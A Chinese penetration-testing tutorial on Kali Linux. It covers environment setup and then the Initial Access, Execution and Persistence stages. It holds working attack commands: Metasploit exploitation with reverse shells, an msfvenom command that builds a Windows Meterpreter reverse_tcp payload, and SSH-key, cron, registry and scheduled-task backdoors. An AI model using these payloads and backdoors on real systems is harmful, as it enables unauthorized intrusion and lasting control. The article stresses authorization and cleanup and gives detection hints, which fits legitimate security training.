news 2026/9/7 17:39:49

Kali Linux渗透测试实战:从初始访问到持久化的完整攻击链

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
Kali Linux渗透测试实战:从初始访问到持久化的完整攻击链

1. Kali Linux到底是个什么系统

很多人第一次听到Kali,第一反应是“黑客系统”。这个印象不算错,但不准确。Kali Linux本质上是基于Debian的Linux发行版,由OffSec团队维护,里面预装了超过600款安全测试工具,覆盖信息收集、漏洞分析、Web应用测试、密码攻击、无线审计、逆向工程等方向。它的定位是给安全测试人员、渗透测试工程师、红队成员和CTF选手用的专用平台,而不是普通日常使用的桌面操作系统。

我在刚接触安全的时候,对Kali的理解也停留在“装了就完事”的层面,拿它跑几个工具就觉得入门了。后来踩了不少坑才明白,真正值钱的不是Kali本身,而是它承载的那套攻击战术方法论——也就是标题里提到的Initial Access(初始访问)、Execution(执行)、Persistence(持久化)。这三个词不是工具名,而是MITRE ATT&CK框架里的战术分类,简单说就是一场完整模拟攻击中的几个关键阶段。Kali更像一个工具箱,而这三个阶段决定了你打开箱子之后该怎么干活。

这篇文章适合三类人看:第一类是刚接触Kali、想系统了解它怎么用的新手;第二类是已经在用Kali但只知道零散命令,想建立渗透测试整体思路的人;第三类是准备考OSCP或者参加CTF,需要理解攻击链各环节的选手。我会把这三个战术阶段结合Kali里的实际工具和操作讲清楚,同时把安装配置、踩坑记录、排查思路也一并放进来,争取让读者看完就能上手。

2. 从零搭建Kali环境:安装、换源与基础配置

2.1 虚拟机方案与启动方式的选择

Kali的安装方式有几种:直接在物理机上装、用VMware或VirtualBox跑虚拟机、WSL、Live USB等。我个人的强烈建议是虚拟机,尤其是对新手来说。原因很简单:安全测试过程中你会接触各种恶意样本、漏洞利用代码、Payload,一旦宿主机被干扰或者系统搞坏了,虚拟机能随时回滚快照,物理机重装成本就太高了。

虚拟机软件方面,VMware Workstation和VirtualBox都行,没有绝对好坏。VMware和Kali的兼容性更好,拖拽文件、共享文件夹、USB设备透传都稳定一些;VirtualBox胜在免费开源,功能也够用。官方其实直接提供了预构建的VMware镜像,在Kali官网的Get Kali页面下载,解压后直接打开就能用,省去了手动安装系统的等待时间,新手建议走这条路。

如果一定要自己手动安装,两个细节需要注意:第一,ISO文件选择不要下载到一半就装,务必校验SHA256;第二,安装到“Software selection”这一步时,建议先只选默认的XFCE桌面环境,KDE和GNOME后续想装再装,避免装一堆用不到的东西拖慢虚拟机。

提示:Kali的默认登录账号是kali,密码是kali。第一次登录后第一件事就是改密码,命令是passwd。

2.2 换国内软件源:为什么必须做、怎么做

Kali默认的软件源服务器在国外,如果不做任何调整,apt update和apt install的速度会让你怀疑人生。这里必须强调一个误区:换源没有问题,但换错源会出大问题。Kali的源和Ubuntu不一样,它是rolling release滚动发行版,用的是自己的Kali专属仓库,不能直接抄Ubuntu的清华源、阿里源然后改个名字就往上套。

正确的换源方法是编辑/etc/apt/sources.list文件,把官方源替换成Kali官方认可的国内镜像。清华源和阿里源都有对应的Kali镜像地址,以清华源为例:

sudo nano /etc/apt/sources.list

把里面的内容替换为:

deb https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main non-free contrib

然后依次执行:

sudo apt update sudo apt upgrade -y

执行完如果能看到正常的索引更新且没有报错,说明换源成功。这里补充一个小经验:换源之后如果提示“The following signatures couldn't be verified”,多半是因为系统时间不准,运行ntpdate或timedatectl同步一下就好。Kali里同步时间的典型命令是:

sudo timedatectl set-ntp true

或者手动同步:

sudo ntpdate ntp.aliyun.com

如果ntpdate没安装,apt install ntpdate装一下即可。这个坑我在虚拟机休眠恢复之后经常遇到,时间一出错,HTTPS握手、指纹校验全跟着崩。

2.3 中文环境和输入法的配置

Kali默认是英文界面,很多新手一上来就想设置成中文。系统设置里改语言确实能改,但真正麻烦的是中文字体和中输入法。我的建议是:界面是否中文其实无所谓,但中文输入法建议装好,查询资料和写报告的时候会舒服很多。

安装中文输入法,较为稳定的是安装fcitx5和中文词库:

sudo apt install fcitx5 fcitx5-chinese-addons

安装完成后在终端执行:

im-config

选择fcitx5作为默认输入法框架,重启虚拟机后按Ctrl+Space切换输入法。需要注意:如果只装了fcitx5但系统里没有中文字体,输入法面板和候选词会显示成方块。所以先装字体:

sudo apt install fonts-noto-cjk

另外一个小细节:Kali桌面里的“桌面”文件夹默认显示英文“Desktop”,想改成中文可以通过以下方式:

xdg-user-dirs-update --set DESKTOP ~/桌面

执行完后需要注销再登录才生效。

3. 一场模拟攻击的开端:Initial Access初始访问

3.1 初始访问在攻击链里扮演什么角色

Initial Access用大白话说就是“你怎么进入目标网络或系统的”。这是整条攻击链的第一道门,也是红队演练里最考验耐心和技术的一环。可以把它理解成你想进一栋楼,物理上总得有扇门或窗户能进去——Initial Access干的事情就是侦察哪扇门没锁、哪扇窗能撬开,然后实施进入。

在MITRE ATT&CK框架里,Initial Access覆盖的手法非常多:漏洞利用公共网络服务、钓鱼附件、水坑攻击、复用有效账号、借助信任关系等等。Kali里对应的工具也极其丰富,但这篇文章我不会把每个工具都拉出来刷一遍,只挑几个高频且适合新手理解的入手方向:端口与服务发现、Web漏洞利用、钓鱼攻击模拟。

这里有必要先建立一种正确的思维:渗透测试不是“跑个工具就完事”,而是分阶段、有目标、有记录的过程。Initial Access做得够不够扎实,直接决定后面Execution和Persistence能不能顺利展开。

3.2 端口发现与服务指纹识别:打开门之前先摸清楚门

Kali里做端口扫描最经典的工具是Nmap,这个工具几乎人人知道,但很多新手只会nmap + IP加默认参数跑一遍,扫出来一堆端口然后愣住不知道下一步干嘛。正确姿势应该是分步走。

第一步,先做快速存活主机发现,避免对不存在的IP浪费时间:

nmap -sn 192.168.1.0/24

第二步,对存活主机做常规端口扫描:

nmap -sV -O -T4 192.168.1.10

-sV是服务版本探测,-O是操作系统识别,-T4是加速模式。这一步得到的信息非常关键,它会告诉你对方跑了什么服务、什么版本,比如Apache 2.4.49、OpenSSH 7.9这种。版本号就是后续查找已知漏洞的钥匙。

第三步,深入扫描指定端口和漏洞探测:

nmap -sC -sV -p 80,443,8080 192.168.1.10 nmap --script vuln -p 80,443 192.168.1.10

-sC运行默认脚本,能快速抓取目标服务的基础配置信息;--script vuln会调取NSE漏洞脚本库做一轮已知漏洞检查。用Nmap的vuln脚本扫出的结果不一定全,但能给你一个低成本、不引流的初步结论。

这里有个实操经验我不是很想写但又必须写:做端口扫描之前,先确认你拿到了目标授权。自己搭的靶场、公司安排的授权测试、CTF比赛环境都可以,没有授权的扫描属于违规行为,这一点没有任何争议,也不存在“只是扫一下没关系”这种说法。

3.3 从信息收集到漏洞利用:以Metasploit为例的初始访问

当Nmap扫出了具体服务的版本信息,下一步就是确认这个版本是否存在已知漏洞,如果存在,就尝试利用漏洞打入目标。这里最有代表性的工具就是Metasploit Framework(MSF)。

以一台开着web服务且存在已知命令执行漏洞的靶机为例,MSF的完整利用流程是这样的。先启动MSF:

msfconsole

进入交互界面后,检索对应漏洞的利用模块:

search <漏洞名称或CVE编号>

找到模块后用use命令切换,配合show options查看需要填写的参数,然后设置目标地址、载荷等:

set RHOSTS <目标IP> set LHOST <本机IP> set LPORT <监听端口> run

如果利用成功,你会得到Meterpreter会话,这个会话就是后续执行阶段的基础。这里要解释一下RHOSTS、LHOST、LPORT的含义,因为它们和后面的权限控制息息相关:

  • RHOSTS:目标主机的IP地址或IP范围
  • LHOST:本机监听IP,也就是你Kali的IP
  • LPORT:本机监听端口,用于接收反向连接的Payload

为什么用反向连接?因为目标主机通常在NAT或防火墙后面,主动连你比让你主动连它更容易实现。这也解释了Kali里常说的Reverse Shell和Bind Shell的区别:反向连接是目标来连你,绑定连接是你去连目标在固定端口上开的Shell。

我在练习时经常看到有人卡在“run之后没反应”上,排查方向其实就那么几个:LHOST是不是写成了局域网外的IP、目标是否真的存在该漏洞、防火墙是否拦截了监听端口。不要一上来就怀疑工具不行。

3.4 钓鱼攻击的模拟与防御视角

钓鱼攻击也是Initial Access里非常常见的一类手法,Kali里有Social-Engineer Toolkit(SET)这样专门用于钓鱼演练的工具。SET可以克隆网站、构造钓鱼邮件、生成恶意Payload,然后利用各种社工手段诱导目标点击。

我在这里必须把话说明白:这类工具在很多国家和地区属于双用途工具,用于自身授权范围内的安全意识培训是合理的,但如果用于攻击真实用户,这已经超出技术范畴,属于违法行为。所以关于钓鱼攻击的实操细节,这篇文章不展开,我只说防御层面的建议:

  • 邮件网关开启附件沙箱检测
  • 对敏感系统强制启用多因素认证
  • 定期做钓鱼邮件演练,把“员工识别钓鱼邮件”当成必修课

从攻击者的角度看思路,再从防守方的角度做应对,这才是学习安全测试的正确姿态。每学一个攻击手段,都应该同时问自己一句:如果是我来防守这个系统,我会在哪一环挡住它?

4. 代码执行的落地点:Execution执行阶段

4.1 从会话到命令执行:Execution到底执行了什么

当Initial Access打通之后,攻击者已经能在目标系统上运行代码或命令了,这个阶段在ATT&CK框架里就是Execution。很多新手对这个概念很模糊,总觉得拿到Meterpreter就已经“搞定”了,其实拿到会话和真正控制目标之间还有一段路要走。

Execution战术解决的核心问题是:用什么方式让代码在目标机器上跑起来、跑的时候怎么规避检测、跑完怎么把权限扩大或者留下去。它覆盖的手法包括执行命令行命令、通过PowerShell执行脚本、借助计划任务/定时任务触发执行、利用Windows Management Instrumentation做远程命令执行等等。

Kali在Execution阶段最常用的工具组合是Metasploit的Meterpreter、MSF Venom生成Payload、以及各类旁路工具。但这些工具只是手段,更重要的是理解每种执行方式在什么场景下合适、在什么场景下会暴露。

4.2 用MSFVenom生成Payload的实操过程

MSFVenom是MSF里专门用来生成Payload的工具,它的核心能力是把攻击载荷和目标执行环境打包在一起。我们做一个最典型的方向连接Payload生成示例:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=你的KaliIP LPORT=4444 -f exe -o payload.exe

这条命令生成的payload.exe会在windows x64系统上运行时,主动向你的Kali的4444端口发起反向TCP连接。生成完payload之后,需要回到msfconsole里设置监听:

use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp set LHOST 你的KaliIP set LPORT 4444 run

这里有一个经常踩的坑:LHOST填错了,尤其是用云主机或者虚拟机通过端口映射做测试时,LHOST应该填目标能访问到的那个IP,填成内网IP目标根本连不回来。另外,有些Payload生成时体系结构选错了,比如生成了x86的Payload丢到x64进程里跑,大概率会直接报错退出。所以生成Payload前建议先确认目标环境是32位还是64位。

4.3 命令执行之后的降权与提权思路

拿到命令执行权限后,这个权限不一定是你想要的高度。多数情况下,初始漏洞利用获得的权限只是普通用户权限,这时候就涉及到提权。提权分为两类:

第一类是系统内核漏洞提权,典型的做法是跑到Linux或Windows下,先收集系统版本和内核信息,然后搜索已知的提权漏洞利用代码,再用Kali里的编译工具编译成可执行文件传过去运行。

第二类是第三方软件服务提权,比如目标机器上运行着旧版本的某些服务,以管理员权限运行但存在配置漏洞,通过利用这些服务实现提权。这类提权在真实环境中反而更常见,因为系统补丁都打了,但业务软件没更新。

这里我要分享一条非常有价值的实操经验:提权之前,一定要做好信息收集。Kali里跑信息收集的命令很多,比如Linux环境下查看内核版本用uname -a,查看发行版版本用cat /etc/os-release,查看环境变量和PATH信息用env和echo $PATH,查看已安装软件列表用dpkg -l。只有把目标机器的画像勾勒完整了,才能判断提权路径。盲目打内核漏洞利用代码,最容易出现的情况是目标直接蓝屏,人直接懵在座位上。

关于提权工具的编译环境,我给新手一个实用建议:Kali里默认自带编译工具链(gcc、g++),但还是建议在去目标机器之前先把虚拟机里缺的编译依赖补好,因为你在Kali上把利用代码编译成静态二进制,传到哪里都能跑,就不用在目标机上去装依赖了。静态编译的命令是在编译时加-static参数,代价是体积会变大,但稳定性会好很多。

5. 走了还想留着:Persistence持久化控制

5.1 为什么持久化是红队演练里的关键能力

当你通过Initial Access和Execution拿到目标系统控制权之后,这场攻击只成功了一半。真正的考验是你断开了这次会话之后,还能不能重新回到目标系统。这就是Persistence(持久化)战术要解决的问题。

我用一个生活化的例子来解释:你借了朋友家的钥匙,进去取了东西就走,事后钥匙还给人家,这不算“长期能进”。但如果你偷偷复刻了一把钥匙,下次即使对方换了门锁你还有备用方案,那就是持久化。在渗透测试里,持久化就是攻击者在目标系统上留后门、计划任务、启动项、账号等机制,以确保后续可以随时回来。

防守方看持久化同样重要。你在做企业安全监控时,建立基线也好、做行为检测也好,很大一部分工作就是在查这些“复刻钥匙”的痕迹。所以学习Persistence不能只从攻击角度学,也要能从防御日志中识别异常。

5.2 Linux系统常见的三种持久化手段

在Kali的进攻场景中,常见的目标环境之一就是Linux服务器。这里我列出三种最常见的持久化手段:

第一种是创建新用户。这在渗透测试里非常简单粗暴,直接在目标机器上添加一个隐藏账号并加入sudo组。常见的命令包括useradd和usermod,效果直观,但也很容易被日志审计查出来。

第二种是修改计划任务crontab。通过crontab -e写入一条周期性执行命令的规则,让目标机器每隔几分钟主动向攻击者的服务器发起连接。这种方式的隐蔽性中等,但前提是目标机器开启了cron服务。

第三种是SSH公钥植入。把自己生成的SSH公钥写入目标机器的authorized_keys文件里,之后就可以用私钥直接SSH登录,不需要密码。这种方式在拿下Linux服务器后非常实用,因为是正常SSH流程,流量加密且不产生新进程,相对不容易被直观发现。

Kali里生成SSH密钥的命令是:

ssh-keygen -t ed25519 -f kali_persist

生成后把kali_persist.pub追加到目标机器的~/.ssh/authorized_keys里,本机留着私钥即可。后续登录就直接:

ssh -i kali_persist user@目标IP

5.3 Windows环境常见的持久化手段

如果目标环境是Windows,持久化手段的思路会有些不同,更依赖注册表和系统服务。最常见的几种如下:

注册表自启动项是经典中的经典,把后门程序或脚本写入HKCU\Software\Microsoft\Windows\CurrentVersion\Run键值下,用户登录时就自动运行。Kali下常用的工具Impacket套件里就包含远程修改注册表的能力,用法类似于通过SMB协议操控目标机器。

创建Windows计划任务也是常用手段,用schtasks命令在目标机器上注册一个周期性任务,每五分钟运行一次远程脚本。这种手法在真实网络攻击中很常见,因为它能稳定地周期性回连,不会像注册表自启动项那样只在登录时执行一次。

服务化后门是比较高级的玩法,把自己写的程序注册成Windows服务,设置成自动启动,优点是隐蔽性和稳定性都很好,但需要管理员权限,而且服务启动失败可能会留下错误日志暴露痕迹。

这里我要给一个防守视角的提醒:很多持久化技术会留下大量系统日志和文件痕迹。比如注册表自启动项会触发Sysmon的Event ID 13、创建计划任务会触发Event ID 4698、SSH公钥植入会留下SSH日志记录。所以如果你是在做蓝队检测,这些日志事件就值得专门建规则去盯;如果你是在做红队演练,就必须清楚每一步操作会留哪些痕污、要花多大力气去清洗。

5.4 红队工具的使用边界与清理思路

讨论Persistence这个主题时,有必要把边界问题说一下。持久化技术本质上就是后门技术,是攻击者长期控制目标的重要手段。在授权范围内的红队演练、渗透测试项目中,它用于评估企业的检测能力和应急处置水平,这是合理的。但如果脱离了授权范围,擅自给他人系统留后门,那就是不折不扣的违法行为。

所以我在自己的项目里做持久化测试时,有两条铁规矩:

  • 只在自己的靶场实验室或者甲方明确授权的业务范围内操作
  • 每次演练结束后,把植入的账号、计划任务、启动项全部清理干净,交代给防守方

清理的思路其实和植入是镜像关系。植入账号就删账号,植入计划任务就删计划任务,植入SSH公钥就还原authorized_keys文件。如果做的是权限持久化验证,还要检查有没有残留的监听端口和进程,用netstat -antlp和ps aux逐一对照确认。

6. 常见问题与排查技巧实录

6.1 安装与系统层面的高频问题

结合我自己的使用经历和社区里高频出现的问题,这里整理一张速查表:

问题现象常见原因排查思路
apt-get无法定位软件包软件源配置错误或索引未更新检查sources.list是否写对Kali专属源,执行apt update
VMware里Kali无法全屏/拖拽文件缺少VMware Tools执行apt install open-vm-tools-desktop后重启
虚拟机启动后黑屏无桌面显卡驱动兼容问题尝试切换控制台Ctrl+Alt+F2,检查桌面服务状态后重启桌面服务
系统时间不准虚拟机休眠恢复后时间漂移安装ntpdate后同步时间,启用timedatectl set-ntp true
中文输入法装完打不出中文输入法框架未激活或缺少中文字体安装fonts-noto-cjk,im-config选择fcitx5后注销重登

这些问题的共性是:和Kali本身的关系不大,更多是虚拟化环境或者基础配置没到位。所以排查时不要一上来就重装系统,先逐项检查。

6.2 网络与工具使用相关的问题

在实际跑Initial Access和Execution的时候,网络层面的问题更让人头疼。比如在MSF里run之后没有任何回连,仔细检查发现是Kali本机的防火墙阻挡了监听端口。Kali默认的iptables规则比较少,但某些定制镜像或加固脚本可能自带限制,排查时先执行:

sudo iptables -L -n

看到OUTPUT链或INPUT链有DROP规则的话,先临时放行再试。

另一个高频问题是,目标机器能Ping通但你扫不到端口。这通常是目标开启了防火墙,默认丢弃了扫描流量。这种情况下Nmap加-Pn参数跳过主机发现直接做端口扫描,有时能有意外收获:

nmap -Pn -sV -p 1-1000 目标IP

6.3 靶场搭建经验:以DVWA为例

练习Kali里的Web渗透能力,本地靶场是刚需。DVWA是一个专门用于练习Web安全漏洞的PHP应用,非常经典。在Kali里用Docker搭建是最省事的方案。

先确保Kali里有Docker:

sudo apt install docker.io docker-compose -y sudo systemctl enable docker --now

然后拉取DVWA镜像并运行:

sudo docker run --rm -it -p 80:80 vulnerables/web-dvwa

镜像启动后,浏览器访问http://localhost即可进入DVWA登录界面,默认账号admin,密码password。这个方案的好处是几分钟搞定,而且容器删了重新跑又回到初始状态,非常适合反复练习。

用Kali自带的工具对这个靶场做一轮测试,你会真正理解之前说的Initial Access、Execution是怎么落地的:先是用Nmap扫描发现80端口开放,接着识别到DVWA的登录页面,然后通过SQL注入或文件上传漏洞获取初步执行权限,再到尝试写入反弹Shell、维持访问权限。整条链路在一台靶机上就能练通。

7. 学习路径与个人体会

Kali这个系统内容很庞大,初学者很容易被工具清单淹没,今天我挑的这三个战术角度——Initial Access、Execution、Persistence,不是Kali工具分类的全部,却是攻击链最核心的三个节点。理解了这三个节点,你就能把Kali里看似零散的工具串成一条线。

我个人建议的学习路径是:先熟练Kali的基础操作和命令(用户管理、软件包管理、网络配置),然后用DVWA和Metasploitable这类靶场练Initial Access,再学MSF的会话管理来理解Execution,最后在自己的虚拟机上做持久化实验来体会Persistence。每一步都要做好笔记,因为渗透测试是一个高度依赖经验积累的工作,笔记会是你以后最值钱的资产。

最后补一个细节:Kali本身也在不断更新迭代,工具集每年都会增减。不用执着于把每个工具都装一遍、点一遍,真正值得花时间的是把一条攻击路径用熟、用精。等你把一条链路从初始访问到持久化完整走过了,再去看其它工具,会发现它们都是这条链路上的一个环节而已。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/9/7 17:39:33

企业级AI编程落地指南:从平台选型到团队推广的实战经验

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

作者头像 李华
网站建设 2026/9/7 17:38:36

Godot 4游戏UI与敌人AI实战:HUD、字体渲染和状态机全解析

这一期其实是系列二里我拖得最久的一篇。前面几篇我们让角色动了起来、加了碰撞、做了基础关卡&#xff0c;但游戏看起来还是很“素”——UI是临时凑的&#xff0c;敌人只会傻站着挨打&#xff0c;打死敌人后也没有任何分数反馈。这期专门补上这两块&#xff1a;一套可复用的HU…

作者头像 李华
网站建设 2026/9/7 17:37:42

AI图表生成实战:一句话做出期刊级科研图表,告别matplotlib熬夜调参

凌晨一点我还在和matplotlib搏斗&#xff0c;盯着图例的位置来回改参数&#xff0c;那感觉相信每个被论文图表折磨过的人都懂。不是不会写代码&#xff0c;而是为了一个配色、一条误差棒、一个坐标轴刻度&#xff0c;反复渲染、导图、放大检查&#xff0c;时间全耗在排版细节上…

作者头像 李华
网站建设 2026/9/7 17:37:25

【单片机毕设案例分享】基于 STM32 的多传感数据采集 OLED 显示监控系统设计 基于 STM32 的环境参数远程查看与设备控制系统设计(010307)

博主介绍&#xff1a;✌️码农一枚 &#xff0c;专注于大学生项目实战开发、讲解和毕业&#x1f6a2;文撰写修改等。全栈领域优质创作者&#xff0c;博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于单片机&#xff0c;STM32单片机&#xff0c;51单片机&#xff0c;J…

作者头像 李华
网站建设 2026/9/7 17:32:28

豆包接管Vivado?AI辅助FPGA开发的高效实战指南

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

作者头像 李华